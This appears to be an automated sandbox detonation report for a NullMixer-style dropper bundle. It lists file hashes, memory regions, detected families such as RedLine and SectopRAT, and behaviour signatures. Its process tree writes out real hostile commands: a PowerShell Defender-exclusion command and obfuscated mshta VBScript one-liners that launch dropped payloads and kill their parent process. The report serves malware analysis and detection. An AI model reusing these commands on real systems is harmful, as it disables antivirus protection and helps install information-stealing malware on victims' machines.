\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20109b9e174d0fc.exe
| MD5 | 37a1c118196892aa451573a142ea05d5 |
| SHA1 | 4144c1a571a585fef847da516be8d89da4c8771e |
| SHA256 | a3befd523e1e2f4e6f8fce281963f5efb85fe54d85ba67746cc58823d479e92a |
| SHA512 | aac6321582dac5d82cbdb197c20370df3436cf884bea44cbc6d156fd6c4fa99340a3fa866862b83fb0866b31a1e4ebdd73c462972beeb299d4af95592c1d94db |
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20d5530575e8aa3ed.exe
| MD5 | 7c20266d1026a771cc3748fe31262057 |
| SHA1 | fc83150d1f81bfb2ff3c3d004ca864d53004fd27 |
| SHA256 | 4b2fb0f42a923104b69a45aa7a503fbd08739ebf3711599303aa15692136fa46 |
| SHA512 | e18c803e38a2111857519639b1ac838edc5b496a79fc579c7329188c66ba791cc499874132e4d616c24447d0cc5ebe7659f69ed1a810bea1a675b94d089b995f |
memory/2840-136-0x0000000000360000-0x0000000000378000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri209d5bfbb2.exe
| MD5 | d08cc10c7c00e13dfb01513f7f817f87 |
| SHA1 | f3adddd06b5d5b3f7d61e2b72860de09b410f571 |
| SHA256 | 0fb8440355ee2a2fe55de0661199620353a01ed4fd1b0d0a2082f4c226e98e0d |
| SHA512 | 0b9b8c7da24cdb882bc9b7a37689bc0e81d39f1277017b44512e9a17d9e4e44b314d5b3e06f332d64f3f6953f84d309d4027842ef0000ff012e7af5c9012caa0 |
\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20e095683c2b3a0c.exe
| MD5 | 44cfc728f9fbacd834c9b10ce768d41a |
| SHA1 | 6589a1435a2ba5ec11a312de5f339597831227d0 |
| SHA256 | 874c4eab9d0422ee52a1e02e4e95b07805a143dda5a54a19c6a122580aabdb68 |
| SHA512 | dd899e05bcbfaec1c3f46011367e000f3edfca1c2f542f9ed55bcbd136142940733f8aa8cd67bd5f647329195ffb843a255713dae362bc44a817734163409113 |
memory/1804-139-0x0000000000400000-0x0000000000414000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri20c0c46650eeb2a.exe
| MD5 | ecc773623762e2e326d7683a9758491b |
| SHA1 | ad186c867976dc5909843418853d54d4065c24ba |
| SHA256 | 8f97a40b4d9cf26913ab95eec548d75a8dad5a1a24d992d047e080070282d838 |
| SHA512 | 40e30981f533b19123ec3d84276a28acd282c01907398ca6d67155901cfaf2c2d6355dc708d0ecfc6c21b5c671b4c3bb87eeb53183b7085474a2acd302f038a4 |
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri2060ea1c5d8fae8aa.exe
| MD5 | ba8541c57dd3aae16584e20effd4c74c |
| SHA1 | 5a49e309db2f74485db177fd9b69e901e900c97d |
| SHA256 | dbc19cdcdf66065ddb1a01488dac2961b7aa1cde6143e8912bf74c829eaa2c6c |
| SHA512 | 1bdc7461faf32bba7264de0d1f26365ee285de687edef7d957194897fc398145414a63ad5255e6fc5b559e9979d82cf49e8adf4d9d58b86405c921aec027866d |
memory/1948-146-0x0000000000DD0000-0x0000000000E42000-memory.dmp
memory/564-145-0x0000000000E90000-0x0000000000E98000-memory.dmp
memory/1804-158-0x0000000000400000-0x0000000000414000-memory.dmp
memory/1764-159-0x0000000000400000-0x0000000000414000-memory.dmp
memory/952-157-0x0000000000400000-0x00000000004BD000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri208f5f140853548.exe
| MD5 | 7c6b2dc2c253c2a6a3708605737aa9ae |
| SHA1 | cf4284f29f740b4925fb2902f7c3f234a5744718 |
| SHA256 | b45c9de845522095bbfa55166b519b2be36a08cea688491b9f339e862e79c3ba |
| SHA512 | 19579900d07912096641cc7381131ff6fcf60fffc99cdab23f7d8a577aa926bbf0e885a3a7869298bbfc0a05e276c1d5f45712812e4df6980e9554fc48162b07 |
C:\Users\Admin\AppData\Local\Temp\7zSCBA438A6\Fri200ae385720d3.exe
| MD5 | 8aaec68031b771b85d39f2a00030a906 |
| SHA1 | 7510acf95f3f5e1115a8a29142e4bdca364f971f |
| SHA256 | dc901eb4d806ebff8b74b16047277b278d8a052e964453f5360397fcb84d306b |
| SHA512 | 4d3352fa56f4bac97d5acbab52788cad5794c9d25524ee0a79ef55bfc8e0a275413e34b8d91f4de48aedbe1a30f8f47a0219478c4620222f4677c55cf29162df |
C:\Users\Admin\AppData\Local\Temp\is-LQHT1.tmp\Fri20d5530575e8aa3ed.tmp
| MD5 | 9303156631ee2436db23827e27337be4 |
| SHA1 | 018e0d5b6ccf7000e36af30cebeb8adc5667e5fa |
| SHA256 | bae22f27c12bce1faeb64b6eb733302aff5867baa8eed832397a7ce284a86ff4 |
| SHA512 | 9fe100fafb1c74728109667b5a2261a31e49c45723de748adaa1d9cb9f8daa389b871056c70066fa3a05be82a5017c8dd590ae149a56d824a9e250d31091a40f |
C:\Users\Admin\AppData\Local\Temp\is-FVUBK.tmp\_isetup\_shfoldr.dll
| MD5 | 92dc6ef532fbb4a5c3201469a5b5eb63 |
| SHA1 | 3e89ff837147c16b4e41c30d6c796374e0b8e62c |
| SHA256 | 9884e9d1b4f8a873ccbd81f8ad0ae257776d2348d027d811a56475e028360d87 |
| SHA512 | 9908e573921d5dbc3454a1c0a6c969ab8a81cc2e8b5385391d46b1a738fb06a76aa3282e0e58d0d2ffa6f27c85668cd5178e1500b8a39b1bbae04366ae6a86d3 |
memory/2840-166-0x0000000000240000-0x0000000000246000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\is-FVUBK.tmp\idp.dll
| MD5 | b37377d34c8262a90ff95a9a92b65ed8 |
| SHA1 | faeef415bd0bc2a08cf9fe1e987007bf28e7218d |
| SHA256 | e5a0ad2e37dde043a0dd4ad7634961ff3f0d70e87d2db49761eb4c1f468bb02f |
| SHA512 | 69d8da5b45d9b4b996d32328d3402fa37a3d710564d47c474bf9e15c1e45bc15b2858dbab446e6baec0c099d99007ff1099e9c4e66cfd1597f28c420bb50fdcc |
memory/1432-172-0x0000000001B60000-0x0000000001B84000-memory.dmp
memory/1432-173-0x0000000003690000-0x00000000036B2000-memory.dmp
memory/2864-181-0x0000000000050000-0x0000000000066000-memory.dmp
memory/2864-193-0x0000000000050000-0x0000000000066000-memory.dmp
memory/1196-220-0x0000000002970000-0x0000000002ABC000-memory.dmp
memory/2584-221-0x0000000002630000-0x0000000002859000-memory.dmp
memory/1564-228-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-234-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-232-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-231-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-230-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1564-226-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-224-0x0000000000400000-0x0000000000422000-memory.dmp
memory/1564-222-0x0000000000400000-0x0000000000422000-memory.dmp
memory/2608-243-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2608-242-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2608-241-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2608-240-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2608-239-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2608-238-0x0000000000400000-0x000000000051C000-memory.dmp
memory/2852-244-0x0000000000400000-0x00000000016BC000-memory.dmp
memory/1696-245-0x0000000000400000-0x00000000016D5000-memory.dmp
memory/2608-250-0x0000000064940000-0x0000000064959000-memory.dmp
memory/2608-256-0x000000006B440000-0x000000006B4CF000-memory.dmp
memory/2608-257-0x000000006FE40000-0x000000006FFC6000-memory.dmp
memory/2608-255-0x000000006B280000-0x000000006B2A6000-memory.dmp
memory/2608-253-0x000000006EB40000-0x000000006EB63000-memory.dmp
memory/2608-249-0x0000000000400000-0x000000000051C000-memory.dmp
memory/1432-259-0x0000000000400000-0x00000000016E0000-memory.dmp
memory/1764-260-0x0000000000400000-0x0000000000414000-memory.dmp
memory/1164-261-0x0000000000400000-0x00000000004BD000-memory.dmp
memory/1196-262-0x0000000002D00000-0x0000000002DA5000-memory.dmp
memory/1196-266-0x0000000002DB0000-0x0000000002E42000-memory.dmp
memory/1196-263-0x0000000002DB0000-0x0000000002E42000-memory.dmp
memory/2584-268-0x0000000002630000-0x0000000002859000-memory.dmp
memory/1196-267-0x0000000002970000-0x0000000002ABC000-memory.dmp
memory/2584-275-0x0000000002BE0000-0x0000000002C88000-memory.dmp
memory/2584-276-0x00000000008B0000-0x0000000000945000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-24 19:57
Reported
2024-11-24 19:59
Platform
win10v2004-20241007-en
Max time kernel
12s
Max time network
125s
Command Line
Signatures
Detect Fabookie payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Fabookie
Fabookie family
GCleaner
Gcleaner family
NullMixer
Nullmixer family
OnlyLogger
Onlylogger family
PrivateLoader
Privateloader family
RedLine
RedLine payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Redline family
SectopRAT
SectopRAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Sectoprat family
Socelars
Socelars family
Socelars payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
OnlyLogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
ASPack v2.12-2.42
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ba391d4469.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri208f5f140853548.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\is-UBCNU.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cdN.exe | N/A |
| Key value queried | \REGISTRY\USER\S-1-5-21-3350944739-639801879-157714471-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
Executes dropped EXE
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\setup_install.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-UBCNU.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\is-MVHUJ.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
Reads user/profile data of web browsers
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | iplogger.org | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | ip-api.com | N/A | N/A |
Looks up geolocation information via web service
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3960 set thread context of 3256 | N/A | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20fbc038b0b02ea.exe | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20fbc038b0b02ea.exe |
Enumerates physical storage devices
Program crash
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\09xU.exE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\setup_install.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2002ce5f91c761.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri208f5f140853548.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-MVHUJ.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20d5530575e8aa3ed.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20fbc038b0b02ea.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20109b9e174d0fc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2050293ea5.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\is-UBCNU.tmp\Fri20d5530575e8aa3ed.tmp | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\taskkill.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cdN.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri209d5bfbb2.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20c0c46650eeb2a.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\setup_installer.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2060ea1c5d8fae8aa.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ee0a6fe195bd09.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri209f6924af86d795.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ba391d4469.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20fbc038b0b02ea.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20d5530575e8aa3ed.exe | N/A |
Checks SCSI registry key(s)
| Description | Indicator | Process | Target |
| Key queried | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2050293ea5.exe | N/A |
| Key enumerated | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2050293ea5.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI | C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2050293ea5.exe | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cdN.exe
"C:\Users\Admin\AppData\Local\Temp\0d69cafe700a952a621c9b5981504e30c939c3d6cc34452691fce67b2eb6c1cdN.exe"
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\setup_install.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\setup_install.exe"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20109b9e174d0fc.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20109b9e174d0fc.exe
Fri20109b9e174d0fc.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20ee0a6fe195bd09.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri200ae385720d3.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri2050293ea5.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri209f6924af86d795.exe /mixone
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20ba391d4469.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20d5530575e8aa3ed.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri2002ce5f91c761.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20c0c46650eeb2a.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri209c4b463b.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri208f5f140853548.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20fbc038b0b02ea.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri20e095683c2b3a0c.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri209d5bfbb2.exe
C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c Fri2060ea1c5d8fae8aa.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri200ae385720d3.exe
Fri200ae385720d3.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1164 -ip 1164
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2002ce5f91c761.exe
Fri2002ce5f91c761.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2060ea1c5d8fae8aa.exe
Fri2060ea1c5d8fae8aa.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri208f5f140853548.exe
Fri208f5f140853548.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri209d5bfbb2.exe
Fri209d5bfbb2.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ba391d4469.exe
Fri20ba391d4469.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri2050293ea5.exe
Fri2050293ea5.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ee0a6fe195bd09.exe
Fri20ee0a6fe195bd09.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20c0c46650eeb2a.exe
Fri20c0c46650eeb2a.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20d5530575e8aa3ed.exe
Fri20d5530575e8aa3ed.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri209f6924af86d795.exe
Fri209f6924af86d795.exe /mixone
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20fbc038b0b02ea.exe
Fri20fbc038b0b02ea.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20e095683c2b3a0c.exe
Fri20e095683c2b3a0c.exe
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1164 -s 612
C:\Users\Admin\AppData\Local\Temp\is-UBCNU.tmp\Fri20d5530575e8aa3ed.tmp
"C:\Users\Admin\AppData\Local\Temp\is-UBCNU.tmp\Fri20d5530575e8aa3ed.tmp" /SL5="$6020A,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20d5530575e8aa3ed.exe"
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vBSCript: CLose ( CrEAteOBjeCT ( "wsCrIPt.SHell").RUN( "CmD /Q /c TYPe ""C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ba391d4469.exe"" > EUUIXyGKjuAj.exe && STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 & IF """" == """" for %A iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ba391d4469.exe"" ) do taskkill /f /IM ""%~NxA"" ", 0, true ))
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20fbc038b0b02ea.exe
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20fbc038b0b02ea.exe
C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri208f5f140853548.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri208f5f140853548.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20d5530575e8aa3ed.exe
"C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20d5530575e8aa3ed.exe" /SILENT
C:\Users\Admin\AppData\Local\Temp\is-MVHUJ.tmp\Fri20d5530575e8aa3ed.tmp
"C:\Users\Admin\AppData\Local\Temp\is-MVHUJ.tmp\Fri20d5530575e8aa3ed.tmp" /SL5="$201E6,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20d5530575e8aa3ed.exe" /SILENT
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /Q /c TYPe "C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ba391d4469.exe" > EUUIXyGKjuAj.exe&&STart EUUIXYgKJuAJ.EXE /pkrs9YKWRf3sVprfXBE2vA2Yg3 &IF ""=="" for %A iN ( "C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri20ba391d4469.exe" ) do taskkill /f /IM "%~NxA"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri208f5f140853548.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS0DCBB6C7\Fri208f5f140853548.exe") do taskkill /F -Im "%~NxU"
C:\Windows\SysWOW64\WerFault.exe
